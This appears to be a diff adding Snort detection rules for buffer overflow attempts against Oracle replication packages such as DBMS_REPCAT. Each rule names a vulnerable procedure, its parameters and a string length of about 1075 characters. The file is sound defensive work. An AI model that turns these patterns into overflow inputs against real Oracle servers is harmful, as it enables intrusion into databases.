+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.alter_priority_char buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.alter_priority_char"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2735; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.generate_snapshot_support buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.generate_snapshot_support"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname|type)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname|type)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2854; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.drop_priority_char buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.drop_priority_char"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2888; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna.drop_snapshot_repschema buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna.drop_snapshot_repschema"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*sname[\r\n\s]*=>[\r\n\s]*\2|sname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2908; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_fla.abort_flavor_definition buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_fla.abort_flavor_definition"; nocase; pcre:"/\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2813; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.add_priority_date buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.add_priority_date"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2724; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.alter_mview_propagation buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.alter_mview_propagation"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){3}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2734; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.comment_on_mview_repsites buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.comment_on_mview_repsites"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gowner|gname)[\r\n\s]*=>[\r\n\s]*\2|(gowner|gname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2750; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_fla_mas.add_columns_to_flavor buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_fla_mas.add_columns_to_flavor"; nocase; pcre:"/\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2818; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna.register_snapshot_repgroup buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna.register_snapshot_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){4}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2912; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.alter_site_priority_site buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.alter_site_priority_site"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2877; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_mas.comment_on_repgroup buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_mas.comment_on_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2828; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_unique_resolution buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_unique_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2783; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.cancel_statistics buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.cancel_statistics"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2879; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.create_master_repgroup buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.create_master_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2757; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.drop_delete_resolution buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.drop_delete_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2887; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna.create_snapshot_repgroup buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna.create_snapshot_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|fname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|fname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){5}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){4}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2903; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.generate_replication_package buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.generate_replication_package"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2786; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_grouped_column buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_grouped_column"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2768; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.alter_priority_varchar2 buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.alter_priority_varchar2"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2742; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.alter_priority_number buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.alter_priority_number"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2872; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_priority_varchar2 buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_priority_varchar2"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2778; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.set_columns buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.set_columns"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2805; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_mas.suspend_master_activity buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_mas.suspend_master_activity"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2839; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna.unregister_snapshot_repgroup buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna.unregister_snapshot_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2916; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.purge_statistics buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.purge_statistics"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2793; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.drop_priority buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.drop_priority"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2894; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.add_delete_resolution buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.add_delete_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2858; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.add_column_group_to_flavor buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.add_column_group_to_flavor"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2720; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.drop_unique_resolution buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.drop_unique_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2898; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.validate_for_local_flavor buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.validate_for_local_flavor"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2812; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_mas.create_master_repgroup buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_mas.create_master_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2830; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.add_priority_nchar buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.add_priority_nchar"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2725; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.add_columns_to_flavor buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.add_columns_to_flavor"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2721; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_mas.create_master_repobject buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_mas.create_master_repobject"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){5}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2831; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_rectifier_diff.rectify buffer overflow attempt"; flow:to_server,established; content:"dbms_rectifier_diff.rectify"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(missing_rows_oname1|missing_rows_oname2)[\r\n\s]*=>[\r\n\s]*\2|(missing_rows_oname1|missing_rows_oname2)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){8}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){9}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2718; rev:1;)
